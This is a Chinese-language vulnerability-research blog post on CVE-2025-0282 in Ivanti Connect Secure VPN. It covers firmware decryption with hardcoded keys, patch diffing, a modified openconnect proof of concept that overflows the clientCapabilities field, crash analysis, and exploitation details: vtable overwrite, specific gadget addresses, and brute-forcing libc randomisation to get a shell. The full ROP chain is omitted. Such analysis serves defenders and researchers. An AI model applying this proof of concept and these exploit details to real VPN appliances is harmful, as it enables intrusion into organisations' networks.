CVE-2025-0282 Ivanti Connect Secure VPN 栈溢出漏洞分析
…TL; DR2025年(暨蛇年)第一篇博客文章,顺便祝我的博客读者新春快乐吧。1月9日 goog 2025-1-28 16:0:0 Author: bestwing.me(查看原文) 阅读量:49 收藏

TL; DR

2025年(暨蛇年)第一篇博客文章,顺便祝我的博客读者新春快乐吧。

1月9日 google 发布的 Ivanti Connect Secure VPN 设备的在野漏洞预警:

https://cloud.google.com/blog/topics/threat-intelligence/ivanti-connect-secure-vpn-zero-day/

1月10日 watchtowr 就发布了漏洞分析

https://labs.watchtowr.com/do-secure-by-design-pledges-come-with-stickers-ivanti-connect-secure-rce-cve-2025-0282/

1月10日我也发了我的漏洞复现推特: https://x.com/bestswngs/status/1877715807506952486

这次 diff版本2.3 build 3431 和 2.5, 特意留到了除夕夜发这篇文章..

固件提取

这部分内容依旧感谢我的同事 @explore 和 @leommxj的帮助, 具体流程如下:

添加磁盘到虚拟机里后, 用 lvdisplay 可以看到几个分区

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
──(root㉿kali)-[/home/kali/Desktop]
└─
--- Logical volume ---
LV Path /dev/groupA/home
LV Name home
VG Name groupA
LV UUID vPWDHH-AlTq-GvBS-UAnf-orT1-yT2d-TdbWyK
LV Write Access read/write
LV Creation host, time (none), 2025-01-09 17:28:21 -0500
LV Status NOT available
LV Size <4.87 GiB
Current LE 1246
Segments 1
Allocation inherit
Read ahead sectors auto

--- Logical volume ---
LV Path /dev/groupA/runtime
LV Name runtime
VG Name groupA
LV UUID dFDVOl-kYQR-J3N5-3HNC-toXc-9947-sj0yzc
LV Write Access read/write
LV Creation host, time (none), 2025-01-09 17:28:39 -0500
LV Status NOT available
LV Size <19.46 GiB
Current LE 4981
Segments 2
Allocation inherit
Read ahead sectors auto

--- Logical volume ---
LV Path /dev/groupZ/home
LV Name home
VG Name groupZ
LV UUID cOTBS1-oaYw-PlAt-puTS-Uvq5-6C91-pK6QHK
LV Write Access read/write
LV Creation host, time (none), 2024-10-07 06:47:49 -0400
LV Status NOT available
LV Size 6.72 GiB
Current LE 1721
Segments 1
Allocation inherit
Read ahead sectors auto

可以看到这几个都是 lvm2 加密的, 没法直接 mount

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
┌──(root㉿kali)-[/home/kali/Desktop]
└─
Disk /dev/sdb: 80.09 GiB, 86000000000 bytes, 167968750 sectors
Disk model: VMware Virtual S
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos
Disk identifier: 0xc45d0b27

Device Boot Start End Sectors Size Id Type
/dev/sdb1 * 2048 167968749 167966702 80.1G 83 Linux


Disk /dev/sda: 80 GiB, 85899345920 bytes, 167772160 sectors
Disk model: VMware Virtual S
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos
Disk identifier: 0x00000000

Device Boot Start End Sectors Size Id Type
/dev/sda1 16065 224909 208845 102M 83 Linux
/dev/sda2 224910 433754 208845 102M 83 Linux
/dev/sda3 449820 658664 208845 102M 83 Linux
/dev/sda4 674730 167766794 167092065 79.7G 85 Linux extended
/dev/sda5 674731 14779799 14105069 6.7G 83 Linux
/dev/sda6 14779801 30089744 15309944 7.3G 83 Linux
/dev/sda7 30089746 65802239 35712494 17G 83 Linux
/dev/sda8 65802241 81112184 15309944 7.3G 83 Linux
/dev/sda9 81112186 116824679 35712494 17G 83 Linux
/dev/sda10 116824681 132134624 15309944 7.3G 82 Linux swap / Solaris
/dev/sda11 132134626 167766794 35632169 17G 83 Linux

┌──(root㉿kali)-[/home/kali/Desktop]
└─

┌──(root㉿kali)-[/home/kali/Desktop]
└─

┌──(root㉿kali)-[/home/kali/Desktop]
└─
boot.b compact-file coreboot.img disksize grub kernel log_coreboot lost+found VERSION

我们在 /dev/sda1 找到了对应的 kernelcoreboot.img, 可以看看到 coreboot.img 作为initrd

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
└─
set default=0
set timeout=5
insmod ext2
password 07ow3w3d743
serial --unit=0 --speed=9600 --word=8 --parity=no --stop=1
menuentry "Current" {
set root=(hd0,2)
linux /kernel system=A rootdelay=5 console=ttyS0,115200n8 console=tty0 vm_hv_type=VMware
initrd /coreboot.img
}
menuentry "Factory Reset" {
set root=(hd0,1)
linux /kernel system=Z noconfirm rootdelay=5 console=ttyS0,115200n8 console=tty0 vm_hv_type=VMware
initrd /coreboot.img
}

decrypt

coreboot.img 作为initrd

image.png

我们去将这里的 kernel 通过 vmlinux-to-elf 转换一下就可以逆向了, 在 kernel中populate_rootfs里面写死密钥的AES解密

1
2
3
4
5
6
7
8
>>> DRAMFS_AES_KEY = bytes.fromhex("13D7B32E2600B7747D80FBA8F8D5C7CA")
>>>
>>> realkey = strxor(DRAMFS_AES_KEY[:4][::-1], bytes.fromhex('99ED2BF2'))[::-1]
2 realkey += strxor(DRAMFS_AES_KEY[4:8][::-1], bytes.fromhex('AEEF41FE'))[::-1]
3 realkey += strxor(DRAMFS_AES_KEY[8:12][::-1], bytes.fromhex('141058C7'))[::-1]
4 realkey += strxor(DRAMFS_AES_KEY[12:16][::-1], bytes.fromhex('D2ED180E'))[::-1]
>>> realkey
b'\xe1\xfc^\xb7\xd8AX\xda\xba\xd8\xeb\xbc\xf6\xcd*\x18'

binary ninja 带有神奇的优化,
image.png
优化出来就是异或完的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
ffffffff826d0815            int64_t initrd_start_3 = initrd_start;
ffffffff826d081c int32_t initrd_end_1 = (*(uint32_t*)initrd_end);
ffffffff826d082e int64_t* rax_1 = crypto_alloc_base("aes", 0, 0);
ffffffff826d0833 uint64_t i = (uint64_t)(initrd_end_1 - initrd_start_3);
ffffffff826d083f int64_t rcx_1;
ffffffff826d083f int64_t rdx_1;
ffffffff826d083f int64_t r8_1;
ffffffff826d083f
ffffffff826d083f if (rax_1 <= -0x1000)
ffffffff826d083f {
ffffffff826d0875 int32_t var_6c_1 = 0xda5841d8;
ffffffff826d0889 int32_t var_70 = 0xb75efce1;
ffffffff826d088c int32_t var_68_1 = 0xbcebd8ba;
ffffffff826d088f int32_t var_64_1 = 0x182acdf6;
ffffffff826d089b rcx_1 = rax_1[1](rax_1, &var_70, 0x10);
ffffffff826d089f int32_t rax_2 = 0;

通过简单的逆向, 我们很快就可以写出一份解密代码, 我们可以把 coreboot.img 解密后出来一份gzip 压缩的cpio文件。

1
2
3
4
5
6
7
8
9
10

$ file out2.bak
out2.bak: gzip compressed data, last modified: Sat Oct 5 17:32:45 2024, max compression, from Unix, original size modulo 2^32 118361088


$ gzip -d out2.gz

$ file out2
out2: ASCII cpio archive (SVR4 with no CRC)

cpio 解出来的目录结构如下:

1
2
3

$ ls
bin dash dev etc gzip insmod lib modules out2 rmmod sbin tmp usr

etc/lvmeky 是其他上面几个 lvm 分区的 key , 使用 crypsetup 命令解密后可以进一步 mount 磁盘

1
2
sudo cryptsetup luksOpen --key-file /mnt/hgfs/G/chaitin/20250109_ivanti/ISA_R2.3/lvmkey /dev/groupA/home groupA_home
sudo mount /dev/mapper/groupA_home /mnt/disk1

shell 获取

/root/home/bin/dsconfig.pl 是进入后的shell
其中如果DSSys::isDebugBuild 返回是调试版本就会直接给出shell的选项

这里就是会调用 sub shell {} 方法

1
2
3
4
5
6
7
8
9
sub shell {
return "" if (!DSSys::isDebugBuild());
print "set DISPLAY variable if you want to start an xterm\n";

my ($install) = $ENV{'DSINSTALL'} =~ /(\S*)/;
DSSafe::system("$install/bin/dsshell");

return "";
}

通过简单逆向这个程序,我们就很快能获得一个带有调试功能的固件了(具体操作留给读者了, 很简单)

CVE-2025-0282

Diff patched

image.png

可以看到这里新加了一个长度判断, 之前存在栈溢出

1
2
3
4
5
6
7
8
9
10
memset(dest, 0, sizeof(dest));
strncpy(dest, *(const char **)(a1 + 140), v23);
v24 = 46;
v25 = &v57;
if ( ((unsigned __int8)&v57 & 2) != 0 )
{
LOBYTE(v24) = 44;
v57 = 0;
v25 = (__int16 *)&v58;
}

PoC

最早的poc构造是根据 watchtowr 的文章, 魔改 openconnect[1]pulse.c 代码

1
2
3
4
5
6
7
	if (bytes[0])
buf_append(reqbuf, " clientIp=%s", bytes);
+ buf_append(reqbuf, " clientCapabilities=%s", bytes);
+ for(unsigned int n=0; n<100; n++)
+ buf_append(reqbuf, "AAAAAAAAAAAAAAAA");
buf_append(reqbuf, "\\n%c", 0);
ret = send_ift_packet(vpninfo, reqbuf);

编译的时候需要一个 vpn.cript , 我这里用的是 https://gitlab.com/openconnect/vpnc-scripts/-/blob/master/vpnc-script?ref_type=heads

1
/configure --enable-static=yes --without-openssl --with-vpnc-script=./vpnc-script --without-libproxy --without-lz4

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
$ ./openconnect 172.16.64.222 --protocol=pulse --dump-http-traffic -vvv
Attempting to connect to server 172.16.64.222:443
Connected to 172.16.64.222:443
SSL negotiation with 172.16.64.222
Server certificate verify failed: signer not found

Certificate from VPN server "172.16.64.222" failed verification.
Reason: signer not found
To trust this server in future, perhaps add this to your command line:
--servercert pin-sha256:4fW+U987xNSV4e/eojrHz/Cr1pGxIIF0lraaXwBKQ2A=
Enter 'yes' to accept, 'no' to abort; anything else to view: yes
Connected to HTTPS on 172.16.64.222 with ciphersuite (TLS1.2)-(RSA)-(AES-256-GCM)
> GET / HTTP/1.1
> Host: 172.16.64.222
> User-Agent: Open AnyConnect VPN Agent v9.12-unknown
> Content-Type: EAP
> Upgrade: IF-T/TLS 1.0
> Content-Length: 0
>
Got HTTP response: HTTP/1.1 101 Switching Protocols
Content-type: application/octet-stream
Pragma: no-cache
Upgrade: IF-T/TLS 1.0
Connection: Upgrade
HC_HMAC_VERSION_COOKIE: 1
supportSHA2Signature: 1
Strict-Transport-Security: max-age=31536000
accept-ch: Sec-CH-UA-Platform-Version
> 0000: 00 00 55 97 00 00 00 01 00 00 00 14 00 00 00 00 |..U.............|
> 0010: 00 01 02 02 |....|
Read 20 bytes of IF-T/TLS record
< 0000: 00 00 55 97 00 00 00 02 00 00 00 14 00 00 01 f5 |..U.............|
< 0010: 00 00 00 02 |....|
IF-T/TLS version from server: 2
> 0000: 00 00 0a 4c 00 00 00 88 00 00 06 a1 00 00 00 01 |...L............|
> 0010: 63 6c 69 65 6e 74 48 6f 73 74 4e 61 6d 65 3d 75 |clientHostName=u|
> 0020: 62 75 6e 74 75 20 63 6c 69 65 6e 74 49 70 3d 31 |buntu clientIp=1|
> 0030: 39 38 2e 31 39 2e 32 34 39 2e 31 38 38 20 63 6c |98.19.249.188 cl|
> 0040: 69 65 6e 74 43 61 70 61 62 69 6c 69 74 69 65 73 |ientCapabilities|
> 0050: 3d 31 39 38 2e 31 39 2e 32 34 39 2e 31 38 38 41 |=198.19.249.188A|
> 0060: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA|
> 0070: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA|
> 0080: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA|
> 0090: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA|
> 00a0: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA|
> 00b0: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA|
> 00c0: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA|
> 00d0: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA|
> 00e0: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA|
> 00f0: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA|
> 0100: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA|
> 0110: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA|
> 0120: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA|
> 0130: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA|
> 0140: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA|
> 0150: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA|
> 0160: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA|
> 0170: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA|
> 0180: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA|
> 0190: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA|
> 01a0: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA|
> 01b0: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA|
> 01c0: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA|
> 01d0: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA|
> 01e0: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA|
> 01f0: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA|
> 0200: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA|
> 0210: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA|
> 0220: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA|
> 0230: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA|
> 0240: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA|
> 0250: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA|
> 0260: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA|
> 0270: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA|
> 0280: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA|
> 0290: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA|
> 02a0: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA|
> 02b0: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA|
> 02c0: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA|
> 02d0: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA|
> 02e0: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA|
> 02f0: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA|
> 0300: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA|
> 0310: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA|
> 0320: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA|
> 0330: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA|
> 0340: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA|
> 0350: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA|
> 0360: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA|
> 0370: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA|
> 0380: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA|
> 0390: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA|
> 03a0: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA|
> 03b0: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA|
> 03c0: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA|
> 03d0: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA|
> 03e0: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA|
> 03f0: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA|
> 0400: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA|
> 0410: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA|
> 0420: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA|
> 0430: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA|
> 0440: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA|
> 0450: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA|
> 0460: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA|
> 0470: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA|
> 0480: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA|
> 0490: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA|
> 04a0: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA|
> 04b0: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA|
> 04c0: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA|
> 04d0: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA|
> 04e0: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA|
> 04f0: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA|
> 0500: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA|
> 0510: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA|
> 0520: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA|
> 0530: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA|
> 0540: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA|
> 0550: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA|
> 0560: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA|
> 0570: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA|
> 0580: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA|
> 0590: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA|
> 05a0: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA|
> 05b0: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA|
> 05c0: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA|
> 05d0: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA|
> 05e0: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA|
> 05f0: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA|
> 0600: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA|
> 0610: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA|
> 0620: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA|
> 0630: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA|
> 0640: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA|
> 0650: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA|
> 0660: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA|
> 0670: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA|
> 0680: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA|
> 0690: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 0a |AAAAAAAAAAAAAAA.|
> 06a0: 00 |.|
Read 20 bytes of IF-T/TLS record
< 0000: 00 00 55 97 00 00 00 05 00 00 00 14 00 00 01 f6 |..U.............|
< 0010: 00 0a 4c 01 |..L.|
> 0000: 00 00 55 97 00 00 00 06 00 00 00 22 00 00 00 02 |..U........"....|
> 0010: 00 0a 4c 01 02 01 00 0e 01 61 6e 6f 6e 79 6d 6f |..L......anonymo|
> 0020: 75 73 |us|

可以看到构超级长的 ientCapabilities 参数的时候就会栈溢出

free 的 崩溃现场

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
Program received signal SIGSEGV, Segmentation fault.
eax 0x0 0
edi 0xff856370 -8035472
esi 0x1 1
edx 0xf1a8d004 -240594940
=> 0xf4f73d1d <free+45>: mov esi,DWORD PTR [ecx-0x4]
0xf4f73d20 <free+48>: lea edx,[ecx-0x8]
0xf4f73d23 <free+51>: test esi,0x2
0xf4f73d29 <free+57>: jne 0xf4f73d58 <free+104>
0xf4f73d2b <free+59>: and esi,0x4
0xff856110: 0x56723200 0x566dd509 0x566ecbc7 0xf4f73cf8
0xff856120: 0xf7a26000 0x00000001 0xff856370 0xf6d6535f
0xff856130: 0x41414141 0x00000032 0xf7f3abc9 0x5671d000
0xff856140: 0x5671d000 0x56723200 0x00000001 0x5669a4e8
0xff856150: 0xff856370 0x00000289 0x566ed87c 0x566d7c7f
0xf4f73d1d in free () from /lib/libc.so.6
(gdb) bt
#0 0xf4f73d1d in free () from /lib/libc.so.6
#1 0xf6d6535f in DSUtilMemPool::~DSUtilMemPool() () from /home/ecbuilds/int-rel/sa/22.7/bld3431.1/install/lib/libdsplibs.so
#2 0x5669a4e8 in ?? ()
#3 0x5669ae7b in ?? ()
#4 0xf5fd0565 in IftTlsParser::parse(unsigned char const*, unsigned int) () from /home/ecbuilds/int-rel/sa/22.7/bld3431.1/install/lib/libdsagentd.so
#5 0xf5fd084e in IftTlsParser::parseData(unsigned char const*, unsigned int) () from /home/ecbuilds/int-rel/sa/22.7/bld3431.1/install/lib/libdsagentd.so
#6 0x56696e48 in ?? ()
#7 0x566133d5 in ?? ()
#8 0x56614446 in ?? ()
#9 0x56614d40 in ?? ()
#10 0xf6c4942e in ?? () from /home/ecbuilds/int-rel/sa/22.7/bld3431.1/install/lib/libdsplibs.so
#11 0xf6c49f2f in DSEvntFds::runDispatcher() () from /home/ecbuilds/int-rel/sa/22.7/bld3431.1/install/lib/libdsplibs.so
#12 0x5663f477 in ?? ()
#13 0x565e0a37 in main ()
(gdb) p/x 0x5669a4e8 - $base
$1 = 0xe54e8
(gdb) i er ecx
Undefined info command: "er ecx". Try "help info".
(gdb) i r ecx
ecx 0x41414141 1094795585
(gdb)
1
2
3
4
5
6
7
void __cdecl EPMessage::~EPMessage(EPMessage *this)
{
DSHash::~DSHash((EPMessage *)((char *)this + 4));
}

0xf6d0fb31 in DSHash::~DSHash() () from /home/ecbuilds/int-rel/sa/22.7/bld3431.1/install/lib/libdsplibs.so

exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
memset(dest, 0, sizeof(dest));
strncpy(dest, (const char *)a1->clientCapabilities, v23);
v24 = 46;
v25 = &v57;
if ( ((unsigned __int8)&v57 & 2) != 0 )
{
LOBYTE(v24) = 44;
v57 = 0;
v25 = (__int16 *)&v58;
}
memset(v25, 0, 4 * (v24 >> 2));
v26 = &v25[2 * (v24 >> 2)];
if ( (v24 & 2) != 0 )
*v26 = 0;
na = 46;
(*(void (__cdecl **)(struct_a1 *, __int16 *))(*(_DWORD *)a1->gap0 + 72))(a1, &v57);

在溢出之后有一个函数指针的调用

1
2
3
4
5
6
7
8
9
mov     edx, [esp+0A0Ch+var_9E0]
mov eax, [esp+2576]
mov eax, [eax]
mov [esp+0A0Ch+src], edx
; 395: na = 46;
mov edx, [esp+0A0Ch+arg_0]
mov [esp+0A0Ch+n], 2Eh ; '.' ; int
mov [esp+0A0Ch+var_A0C], edx
call dword ptr [eax+48h]

这里是一个this 指针调用虚表函数的功能, 由于虚表指针在栈上, 这个栈是可以被我们覆盖的, 所以我们大概率就是需要找到一个虚表指针,他指向的虚表函数表, 这个表 +0x48 能有合适的gadget, 我一开始的思路是去找所有的虚表定义,看看有没有合适的, 可惜我没有找到, 于是我回到 https://labs.watchtowr.com/exploitation-walkthrough-and-techniques-ivanti-connect-secure-rce-cve-2025-0282/ 这个文章[2],观察这个作者的 A Gadget From The Gods , 最后我用的大概率也是做这个找到的这个gadget
image.png

在这文章[2]中作者提到了他的 gadget 的具体汇编,第一句是mov ebx, 0xfffffff0 , 第二句是 add esp, 0x204C

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
+--------------------------+
| gadget_0[0x48] |
+--------------------------+
| mov ebx, 0xfffffff0 | <- Load value into EBX
+--------------------------+
| add esp, 0x204C | <- Adjust stack pointer
+--------------------------+
| mov eax, ebx | <- Copy EBX to EAX
+--------------------------+
| pop ebx | <- Restore EBX
+--------------------------+
| pop esi | <- Restore ESI
+--------------------------+
| pop edi | <- Restore EDI
+--------------------------+
| pop ebp | <- Restore EBP
+--------------------------+
| ret | <- Return to caller
+--------------------------+

于是我采用了一个最笨的方法, 将所有引用的 lib 库全部objdump 一遍, 然后去grep

1
2
3
objdump --x86-asm-syntax=intel -D  $(find . -name "libagentdcs.so") 2>&1 > libagentdcs.so.so.txt

cat ibdsplibs.txt|grep -e "add\tesp, 0x204c"

libdsplibs.so0x93849C 地址找到了这个 gadget ,意料之外的是这里具体居然是个 swithc table 表

image.png

按照代码逻辑, 我们只要反着算就行, 例如我们这里最后 vtable 的地址是 0x11D8940, 那么就需要有一个地址存储这个指针, 直接在 ida 的binary search 里搜索

image.png

image.png

找到一个这个, 所以我们最后要覆盖的this 指针地址为 0x00934F4C, 后面正常 rop 就行, 这里提一句 libc的随机化是 0xfff 位, 多核启动的时候会有一个主进程不断的fork子进程,因此我们爆破 0xfff次就一定能成功执行

拿到的权限是 nr 权限

bash-4.2$ id
id
uid=104(nr) gid=104(nr) groups=104(nr) context=system_u:system_r:kernel_t:s0
bash-4.2$

完整的ROP链也留给读者实现了。


文章来源: https://bestwing.me/CVE-2025-0282-Ivanti-Connect-Secure-VPN-stack-overflow.html
如有侵权请联系:admin#unsafe.sh